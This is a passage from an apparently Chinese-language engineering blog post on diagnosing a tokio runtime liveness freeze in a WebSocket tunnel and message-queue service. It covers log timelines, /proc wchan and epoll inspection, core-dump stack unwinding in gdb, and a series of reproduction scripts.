message-q  &amp;lt;pid&amp;gt;  TCP 127.0.0.1:8080-&amp;gt;127.0.0.1:xxx (CLOSE_WAIT)      # 积压的半关闭连接（对端已 FIN，服务端从未 close）
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;要点&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;CLOSE_WAIT&lt;&#x2F;code&gt;：对端已 FIN，&lt;strong&gt;服务端应用从未 close 这个 socket&lt;&#x2F;strong&gt; —— 应用早就&quot;不干活&quot;了，只是进程没退出。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;真实客户端链路&lt;&#x2F;strong&gt;：agent 侧经 &lt;strong&gt;caddy 的 10200 端口反代&lt;&#x2F;strong&gt;（Caddyfile：&lt;code&gt;handle &#x2F;forward&#x2F;ws&lt;&#x2F;code&gt;、&lt;code&gt;handle_path &#x2F;mq*&lt;&#x2F;code&gt; → &lt;code&gt;reverse_proxy {$MQ_WS}&lt;&#x2F;code&gt;，&lt;code&gt;MQ_WS=http:&#x2F;&#x2F;127.0.0.1:8080&lt;&#x2F;code&gt;）到达 message-queue-enhance 8080 —— &lt;code&gt;caddy&lt;&#x2F;code&gt; 到 8080 的那条 ESTABLISHED 挂死正是代理转发的请求等不到上游响应。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;di-er-bu-ri-zhi-shi-jian-xian-liang-lun-yun-xing-wan-quan-tong-gou-de-jie-wei&quot;&gt;第二步：日志时间线——两轮运行完全同构的结尾&lt;&#x2F;h2&gt;
&lt;p&gt;日志文件 &lt;code&gt;message-queue-enhance.log&lt;&#x2F;code&gt; &lt;strong&gt;最后的写入时间&lt;&#x2F;strong&gt;是冻结时刻，之后 40 分钟没再增长（哪怕每 5s 自动刷新的 &#x2F;mq&#x2F;status 也没触发任何日志写入）。提取最后部分：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;06:52:13.647  message-queue-enhance listening on 0.0.0.0:8080      # 服务启动
06:52:40.924  request method: GET, uri: &amp;#x2F;forward&amp;#x2F;ws?remote_port=9171...   # 客户端对 A
06:52:40.924  response status: 101 Switching Protocols                  # A 对成功注册
06:58:37.406  request method: GET, uri: &amp;#x2F;forward&amp;#x2F;ws?remote_port=8172...  # 客户端对 B 来
06:58:37.406  response status: 101 Switching Protocols                 # B 对第 1 条成功
06:58:37.406  request method: GET, uri: &amp;#x2F;forward&amp;#x2F;ws?remote_port=9172...  # B 对第 2 条：请求已记录
06:58:39.6    tunnel ...: listening on 0.0.0.0:8172 ...                # 但 9172 永无后续
06:58:48.409  request method: GET, uri: &amp;#x2F;forward&amp;#x2F;ws?remote_port=9172...  # 恰 11.003s 后客户端重试
06:58:48.409  &amp;lt;没有 response 行&amp;gt;                                       # 第二次也卡死
（之后 40 分钟无任何日志）
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;冻结模式&lt;&#x2F;strong&gt;（这是本次最重要的发现）：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;旧隧道对（A）仍存活时，新客户端对 B 注册 &lt;code&gt;&#x2F;forward&#x2F;ws&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;B 对的其中一条升级&quot;卡死&quot;&lt;&#x2F;strong&gt;：TraceLayer 已打印 &lt;code&gt;request method&lt;&#x2F;code&gt;，但&lt;strong&gt;永远没有 &lt;code&gt;response status: 101&lt;&#x2F;code&gt;、没有 &lt;code&gt;registered&lt;&#x2F;code&gt;、没有 &lt;code&gt;listening&lt;&#x2F;code&gt;&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;li&gt;恰好 &lt;strong&gt;11.003 s&lt;&#x2F;strong&gt; 后客户端重试同一端口——同样卡死&lt;&#x2F;li&gt;
&lt;li&gt;随后整个 runtime 冻结：无日志、无响应&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;再回看&lt;strong&gt;上一轮容器运行&lt;&#x2F;strong&gt;（前一天启动的那次），结尾完全同构：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;03:42:26.515  request method &amp;#x2F;forward&amp;#x2F;ws?remote_port=8171   # 第 1 条卡死
03:42:26.515  request method &amp;#x2F;forward&amp;#x2F;ws?remote_port=9171   # 第 2 条成功 101
03:42:37.518  request method &amp;#x2F;forward&amp;#x2F;ws?remote_port=8171   # 11.003s 后重试也卡死
（之后 3+ 小时无日志，直到人工重启）
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;这不是偶发，是可复发的 bug 模式。&lt;&#x2F;strong&gt; 两轮运行、不同的挂起端口（这次 9172、上回 8171），模式一模一样的&quot;11 秒重试→全灭&quot;。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;di-san-bu-jin-cheng-shi-fou-zhen-de-huo-zhao-proc-xian-cheng-zhuang-tai&quot;&gt;第三步：进程是否真的活着？——&#x2F;proc 线程状态&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;code&gt;ps&lt;&#x2F;code&gt; 显示进程在、CPU 0、无 panic。到底每根线程在等什么？&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;for t in &amp;#x2F;proc&amp;#x2F;&amp;lt;pid&amp;gt;&amp;#x2F;task&amp;#x2F;*&amp;#x2F;; do
  echo &amp;quot;$(basename $t): $(cat $t&amp;#x2F;wchan)&amp;quot;
done
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;结果：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;16 × tokio-rt-worker : futex_wait_queue      # 全部 worker 处于 idle park
1  × message-queue-e  : futex_wait_queue     # 主线程（block_on）
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;对照健康实例&lt;&#x2F;strong&gt;（起一个同类服务对比）：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;1 × tokio-rt-worker : do_epoll_wait          # ← 健康实例有且只有一个&amp;quot;轮询者&amp;quot;
N × tokio-rt-worker : futex_wait_queue       # 其余 worker park
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;冻结态：0 个线程处于 &lt;code&gt;do_epoll_wait&lt;&#x2F;code&gt;。&lt;&#x2F;strong&gt; 也就是说——tokio 的 io driver &lt;strong&gt;没有任何线程在轮询&lt;&#x2F;strong&gt;。所有 fd（含 8080 LISTEN）都在 epoll 里注册着，事件来就绪时却无人消费。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;这里我用了一个对照实验：直接在本机跑一个同样骨架的 tokio 服务，看它空闲时 wchan 的&quot;分布样貌&quot;。&lt;strong&gt;单看 wchan 值没有意义，看分布才有意义&lt;&#x2F;strong&gt;：&lt;code&gt;futex_wait_queue&lt;&#x2F;code&gt; 既可能是健康空闲、也可能是死锁——区别就看有没有人 &lt;code&gt;do_epoll_wait&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;di-si-bu-shi-bu-shi-suo-si-suo-core-dump-cai-jue&quot;&gt;第四步：是不是&quot;锁死锁&quot;？——core dump 裁决&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;code&gt;futex_wait_queue&lt;&#x2F;code&gt; 也可能是两个任务互相等一把共享锁。必须区分&quot;锁死锁&quot;还是&quot;调度睡死&quot;。手段：&lt;strong&gt;gcore 固化解冻态，再读每个线程的 futex 参数&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;sheng-cheng-core&quot;&gt;生成 core&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 服务器宿主侧（先确认 TracerPid=0，见下文的&amp;quot;插曲&amp;quot;）
sudo gcore -o &amp;#x2F;tmp&amp;#x2F;mq-core 1552056
# Saved corefile &amp;#x2F;tmp&amp;#x2F;mq-core.1552056   (36MB)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;core 是&lt;strong&gt;手动生成一次&lt;&#x2F;strong&gt;的取证产物（与后文的 watchdog 自动 gcore 不同，watchdog 至今未触发）&lt;&#x2F;li&gt;
&lt;li&gt;本地副本（排查用）：&lt;code&gt;scp smyl@192.168.7.165:&#x2F;tmp&#x2F;mq-core.1552056&lt;&#x2F;code&gt; 与生产二进制副本存入 &lt;code&gt;~&#x2F;.tmp&#x2F;opencode&#x2F;mq-core&#x2F;&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;注意：core 内文件映射路径是容器内 &lt;code&gt;&#x2F;message-queue-enhance&lt;&#x2F;code&gt;——gdb 会报&quot;路径映射&quot;警告（warning only，可完全忽略：gdb 以命令行提供的 exec 文件为准，分析照常）。真正的前置只有 &lt;strong&gt;exec 文件的 &lt;code&gt;.text&lt;&#x2F;code&gt; 布局与 core 匹配&lt;&#x2F;strong&gt;（同源构建=同布局；这就是&quot;带 DWARF 的 debug 版&quot;章节的意义）。&quot;建同名路径&#x2F;在容器内分析&quot;只是消除该警告的手段，非必需。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;配套系统调用证据（strace 曾成功捕获一次，attach 后主线程进入等待的参数）：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;futex(0x792cd09b81d8, FUTEX_WAIT_PRIVATE, 1, NULL)   # 无超时私有锁等待；该地址=主线程 park token
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;warning-cha-qu-pai-cha-zi-ji-ye-bei-qia-zhu-tracerpid-yu-can-liu-strace&quot;&gt;⚠️ 插曲：排查自己也被&quot;卡住&quot;——TracerPid 与残留 strace&lt;&#x2F;h3&gt;
&lt;p&gt;排查途中想用 &lt;code&gt;strace -p&lt;&#x2F;code&gt; 观察，先 attach 成功（后台化时命令挂掉导致 strace 变孤儿进程还挂在目标上）；随后所有 gdb&#x2F;strace 都报 &lt;code&gt;ptrace 不允许&lt;&#x2F;code&gt;，最后在 &lt;code&gt;&#x2F;proc&#x2F;&amp;lt;pid&amp;gt;&#x2F;status&lt;&#x2F;code&gt; 发现：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;State:  S (sleeping)
TracerPid: 208     # ← 进程已被别的 tracer 占用！
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;kill&lt;&#x2F;code&gt; 掉残留 strace 后（内核自动 detach），&lt;code&gt;TracerPid&lt;&#x2F;code&gt; 回到 0，gcore 才可附加。&lt;strong&gt;教训：一个进程同时只能有一个 tracer；strace 不做后台化就死掉，会留下&quot;附身&quot;痕迹——排查工具本身也污染现场。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;jie-zhan-gdb-de-bt-wei-shen-me-duan-diao-ru-he-shou-gong-bu&quot;&gt;解栈：gdb 的 bt 为什么断掉？如何手工补？&lt;&#x2F;h3&gt;
&lt;p&gt;对 core 用 &lt;code&gt;gdb -batch -ex &quot;thread apply all bt&quot;&lt;&#x2F;code&gt;，结果&lt;strong&gt;几乎全是问号&lt;&#x2F;strong&gt;，栈在一个方向就断了：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;#0  0x0000792ccfd468ee in syscall ()       # 断在 libc 裸汇编 syscall()
#1  0x0000792c00000008 in ?? ()            # 之后全废
#2  0x0000792ccdba2240 in ?? ()
...
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;原因（这次学到的重要知识）：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;生产二进制是 &lt;code&gt;static-pie&lt;&#x2F;code&gt;、&lt;strong&gt;not stripped&lt;&#x2F;strong&gt;（有 &lt;code&gt;.symtab&lt;&#x2F;code&gt; 符号表）但 &lt;strong&gt;没有 DWARF&lt;&#x2F;strong&gt;（无 &lt;code&gt;.debug_*&lt;&#x2F;code&gt; 节）→ 没有行号&#x2F;内联信息。&lt;&#x2F;li&gt;
&lt;li&gt;glibc 的 &lt;code&gt;syscall()&lt;&#x2F;code&gt; 是&lt;strong&gt;裸汇编函数（无 .eh_frame）&lt;&#x2F;strong&gt;——即使有 &lt;code&gt;.eh_frame&lt;&#x2F;code&gt;，unwinder 到 frame0 也找不到&quot;返回地址在哪儿&quot;，直接放弃展开。&lt;&#x2F;li&gt;
&lt;li&gt;Rust release 默认&lt;strong&gt;无 frame pointer&lt;&#x2F;strong&gt;，camera 依赖 CFI；CFI 断了就没法自动跳。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;&lt;strong&gt;手工解栈方案&lt;&#x2F;strong&gt;（绕开 unwinder，一层层&quot;读栈&quot;）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 方式 A（推荐，一条 batch 命令批量完成）：
# -ex 是顺序执行的子命令；thread apply all 对每条子命令都逐线程执行，
# 因此 $rsp 自然跟随当前线程，无需手动抄地址
gdb -batch \
  -ex &amp;quot;thread apply all p&amp;#x2F;x \$rsp&amp;quot; \
  -ex &amp;quot;thread apply all x&amp;#x2F;16gx \$rsp&amp;quot; \
  .&amp;#x2F;message-queue-enhance .&amp;#x2F;frozen-core.1552056

# 方式 B（真正&amp;quot;交互式&amp;quot;，gdb 交互 shell 内手动分步）：
#   gdb .&amp;#x2F;message-queue-enhance .&amp;#x2F;frozen-core.1552056
#   (gdb) thread apply all p&amp;#x2F;x $rsp        ← 看输出抄下想关注的线程 rsp
#   (gdb) thread 2
#   (gdb) x&amp;#x2F;8gx 0x&amp;lt;上面抄来的地址&amp;gt;
#   (gdb) quit
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;比如线程 2 的原始栈：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;0x792ccf9ff1e0:  0x0000792ccf9ff1d0  0x0000792c00000008
0x792ccf9ff1f0:  0x0000792ccf9ff240  0x0000792ccf9ff200
0x792ccf9ff200:  0x0000792cd09876b0  0x0000792ccf9ffad0
0x792ccf9ff210:  0x0000000000000080  0x0000000000000001
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;其中 &lt;code&gt;0x792cd09876b0&lt;&#x2F;code&gt; 用 &lt;code&gt;info symbol&lt;&#x2F;code&gt; 解出是 &lt;strong&gt;&lt;code&gt;tokio::runtime::task::waker::WAKER_VTABLE&lt;&#x2F;code&gt;&lt;&#x2F;strong&gt;（tokio 内部&lt;strong&gt;静态全局对象&lt;&#x2F;strong&gt;，&lt;code&gt;.data.rel.ro&lt;&#x2F;code&gt;），而 &lt;code&gt;0x792ccf9ffad0&lt;&#x2F;code&gt; 是这个线程自己的 futex（park 令牌）。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;WAKER_VTABLE 怎么用？&lt;&#x2F;strong&gt; —— 确定二进制&quot;基址&quot;，从而把核心地址全部换算成偏移给 addr2line：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;nm &amp;lt;binary&amp;gt; | grep waker_vtable            # 偏移 0x00f876b0
# 基址 = 0x792cd09876b0 - 0xf876b0 = 0x792cc0000000
addr2line -f -e &amp;lt;binary&amp;gt; &amp;lt;pc_hdr - 基址&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;mei-yi-gen-xian-cheng-shen-me-yang-zi&quot;&gt;每一根线成什么样子？&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;每个 worker 的 futex 地址&lt;strong&gt;都在它自己的栈区内&lt;&#x2F;strong&gt;（间距 2MB 规律）——tokio 每线程 &lt;code&gt;CachedParkThread&lt;&#x2F;code&gt; 的 park 令牌，&lt;strong&gt;不是共享锁&lt;&#x2F;strong&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;栈帧里能看到 &lt;code&gt;WAKER_VTABLE&lt;&#x2F;code&gt; 指针 —— 线程正处于 waker 回调&#x2F;park 路径。&lt;&#x2F;li&gt;
&lt;li&gt;最终判读：&lt;strong&gt;全部线程 = tokio 标准 idle park；共享锁死锁被排除。&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;结合 wchan + epoll 注册表，完整因果闭合&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;fdinfo 显示 fd 仍在 epoll（结构完好）
   + wchan 统计显示 0 线程在 epoll_wait（无人驱动）
   = &amp;quot;事件就绪但无人消费&amp;quot;的调度级睡死
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;di-wu-bu-epoll-zhu-ce-biao-fd-du-mei-diu&quot;&gt;第五步：epoll 注册表——fd 都没丢&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;ls -l &amp;#x2F;proc&amp;#x2F;&amp;lt;pid&amp;gt;&amp;#x2F;fd | grep eventpoll       # fd 3、5 都是 anon_inode:[eventpoll]
cat &amp;#x2F;proc&amp;#x2F;&amp;lt;pid&amp;gt;&amp;#x2F;fdinfo&amp;#x2F;3                     # 内核 dump 的注册表
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;输出样例：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;tfd:        9 events: 8000201d data: 792ccdda9a00   # 8080 LISTEN 仍在 epoll
tfd:        4 events: 80002019 data: 0              # eventfd
tfd:        8 events: 80002019 data: 1              # socketpair
...
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;events: 0x8000201d&lt;&#x2F;code&gt; 逐位含义：&lt;code&gt;0x80000000&lt;&#x2F;code&gt; EPOLLET（边缘触发）| &lt;code&gt;0x2000&lt;&#x2F;code&gt; EPOLLRDHUP | &lt;code&gt;0x10&lt;&#x2F;code&gt; EPOLLHUP | &lt;code&gt;0x8&lt;&#x2F;code&gt; EPOLLERR | &lt;code&gt;0x2&lt;&#x2F;code&gt; EPOLLPRI | &lt;code&gt;0x1&lt;&#x2F;code&gt; EPOLLIN。&lt;&#x2F;p&gt;
&lt;p&gt;结论：&lt;strong&gt;注册表完好——不是 io 注册丢了，是 io 驱动没人在跑。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;pai-chu-xiang&quot;&gt;排除项&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;❌ OOM：&lt;code&gt;VmRSS ≈ 5MB&lt;&#x2F;code&gt;，不可能因内存问题&lt;&#x2F;li&gt;
&lt;li&gt;❌ 崩溃&#x2F;panic：日志无 panic 帧、线程数正常（17）&lt;&#x2F;li&gt;
&lt;li&gt;❌ 进程退出&#x2F;僵尸：容器 Up、LISTEN 在、TCP 可连&lt;&#x2F;li&gt;
&lt;li&gt;❌ 端口冲突：&lt;code&gt;ss&lt;&#x2F;code&gt; 只有本进程监听 8080&lt;&#x2F;li&gt;
&lt;li&gt;❌ 句柄耗尽：fd 只有 20 余个&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h1 id=&quot;jie-lun-di-yi-jie-duan-ding-xing&quot;&gt;结论（第一阶段：定性）&lt;&#x2F;h1&gt;
&lt;p&gt;&lt;strong&gt;tokio multi-threaded runtime 的 liveness 丢失（调度级睡死）&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;进程&quot;活着&quot;但有 0 个线程在轮询 io driver（wchan 分布）&lt;&#x2F;li&gt;
&lt;li&gt;所有任务&#x2F;驱动都被丢进 idle park 且不再被唤醒（futex 在每线程 TLS park 槽、栈中有 waker 痕迹）&lt;&#x2F;li&gt;
&lt;li&gt;内核侧 LISTEN&#x2F;注册表完好、事件就绪无人消费（fdinfo 与 TCP 行为交叉验证）&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;强相关的触发序列&lt;&#x2F;strong&gt;：旧隧道活着 → 新客户端对注册 → 其中一个 WebSocketUpgrade 请求&quot;已读入、永不完成&quot;（无 101、无 registered）→ 11s 后同一端口重试也&quot;已读入、永不完成&quot; → 全灭&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;两轮运行完全同构&lt;&#x2F;strong&gt;（分别是 03:42 轮与 06:52 轮），可复发&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;⚠️ 尚未钉死的部分：挂起的 &lt;code&gt;WebSocketUpgrade&lt;&#x2F;code&gt; 与 runtime 睡死之间的精确因果链（是 hyper 连接任务持有某事导致驱动饿死？还是升级路径上某处丢唤醒？）。已知链路：真实 agent 客户端经 caddy 10200 反代到达 8080，但&lt;strong&gt;升级请求挂起点与代理层（buffering&#x2F;协议&#x2F;超时）是否相关&lt;&#x2F;strong&gt;仍待查——本地复现未包含 caddy 一层，是主要缺口。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;fu-xian-chang-shi-ban-ben-die-dai-lian-v1-v8&quot;&gt;复现尝试：版本迭代链（v1 → v8）&lt;&#x2F;h1&gt;
&lt;p&gt;&lt;strong&gt;核心方法论&lt;&#x2F;strong&gt;：每一版只解决上一版暴露的&lt;strong&gt;一个&lt;&#x2F;strong&gt;最大缺口；&quot;下一版改什么&quot;完全来自&quot;上一版为什么没冻结&quot;的逐条排查。中间的无价值分支（脚本写法错误、命名跳号等）不纳入本文——只保留&quot;每一步逼近真相&quot;的部分。&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;版本&lt;&#x2F;th&gt;&lt;th&gt;脚本&lt;&#x2F;th&gt;&lt;th&gt;新增&#x2F;修正（相对上一版）&lt;&#x2F;th&gt;&lt;th&gt;解决上版局限&lt;&#x2F;th&gt;&lt;th&gt;结果&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;v1&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;repro.py&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;Python socket 手写 WS（半关 SHUT_WR &#x2F; RST &#x2F; 悬挂）+ 单隧道 abort 风暴&lt;&#x2F;td&gt;&lt;td&gt;最小验证&quot;半关升级是否卡死&quot;&lt;&#x2F;td&gt;&lt;td&gt;未冻结&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;v2&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;repro2.py&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;+ MQ &lt;code&gt;&#x2F;ws&lt;&#x2F;code&gt; 会话（web&#x2F;client）· + 隧道注册并发 · + tunnel_id 重连（CAS 路径）· 状态页监控 10min&lt;&#x2F;td&gt;&lt;td&gt;v1 无 MQ&#x2F;重连路径、无真实协议语义&lt;&#x2F;td&gt;&lt;td&gt;未冻结&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;v3&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;repro3.sh&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;换真实 &lt;code&gt;reverse-forwarder-client&lt;&#x2F;code&gt;&lt;&#x2F;strong&gt;（协议&#x2F;重试节奏与生产一致）+ &lt;code&gt;&#x2F;dev&#x2F;tcp&lt;&#x2F;code&gt; 数据面 churn + 周期 kill&#x2F;restart（8min&#x2F;354 流）&lt;&#x2F;td&gt;&lt;td&gt;v2 的 python 客户端&quot;太理想&quot;&lt;&#x2F;td&gt;&lt;td&gt;未冻结 → 暴露缺口：&lt;strong&gt;无重叠态&lt;&#x2F;strong&gt;、&lt;strong&gt;无 caddy 层嫌疑&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;v4&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;repro4.sh&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;A 对存活时 B 对加入（双对并存、新端口）+ 脚本内&quot;请求已读入但无 101&quot;卡死检测&lt;&#x2F;td&gt;&lt;td&gt;v3 的&quot;kill 再起&quot;非生产形态&lt;&#x2F;td&gt;&lt;td&gt;未冻结（B 只加入一次→无高频注册）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;v5&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;repro5.sh&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;全要素长跑 15min（状态页轮询 + MQ 会话 + 多对交叠 + churn）&lt;&#x2F;td&gt;&lt;td&gt;v4 单次加入、无混合负载&lt;&#x2F;td&gt;&lt;td&gt;未冻结（周期 60-90s 太慢→&lt;strong&gt;重叠窗口窄&lt;&#x2F;strong&gt;）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;v6&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;repro6.sh&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;7.1 实验机&lt;&#x2F;strong&gt; + caddy:10200 同构反代 + 双探针 + 30 轮 kill 后重启&lt;&#x2F;td&gt;&lt;td&gt;v3-v5 直连 8080、机器条件不齐&lt;&#x2F;td&gt;&lt;td&gt;未冻结 → &lt;strong&gt;否定实验：caddy 层非触发因素&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;v7&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;repro7.sh&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;不 kill 旧对&lt;&#x2F;strong&gt;：每轮直接叠加新对（8250+i&#x2F;9250+i），7-12s&#x2F;轮，30 轮&lt;&#x2F;td&gt;&lt;td&gt;v3-v6 都是&quot;杀旧再起&quot;，&lt;strong&gt;无真重叠&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;冻结命中（第 ~5 轮，8254）&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;v8&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;repro8.sh&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;终版&lt;&#x2F;strong&gt;：彻底无 caddy（环境无 caddy、探针只 8080、&lt;code&gt;trap cleanup&lt;&#x2F;code&gt; 清理残留客户端）&lt;&#x2F;td&gt;&lt;td&gt;排除 caddy 影响、脚本纪律，收尾闭环&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;冻结命中（第 6 轮，8253）&lt;&#x2F;strong&gt;（v7 的插曲还自动冻过一次，三次独立命中）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;&lt;strong&gt;三条最终原则&lt;&#x2F;strong&gt;（1-6 缺一不可，v7 起全部具备）：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;del&gt;caddy 反代层&lt;&#x2F;del&gt; —— &lt;strong&gt;排除&lt;&#x2F;strong&gt;：v6 带 caddy 30 轮不冻结；v7&#x2F;v8 有无 caddy 均命中（v8 期间残留客户端还在无 caddy 环境自动冻过一次）。caddy 只是&quot;生产链路事实&quot;，与触发无关&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;&quot;旧对存活 + 新对注册&quot;的真重叠&lt;&#x2F;strong&gt;（kill 后再起不算；v7 起&quot;不杀旧对&quot;即命中）&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;DashMap 默认 4 分片下，两端口 hash 同分片的并发写者碰撞&lt;&#x2F;strong&gt;（同轮 port 对 ≈1&#x2F;4 概率命中同分片；30 轮内命中即源于此）&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;&lt;strong&gt;脚本下载&lt;&#x2F;strong&gt;（全部最新命名；v7&#x2F;v8 全文见下&quot;复现成功&quot;节，verify-fix 用法见文末&quot;修复落地与验证&quot;）：&lt;&#x2F;p&gt;
&lt;ul&gt;
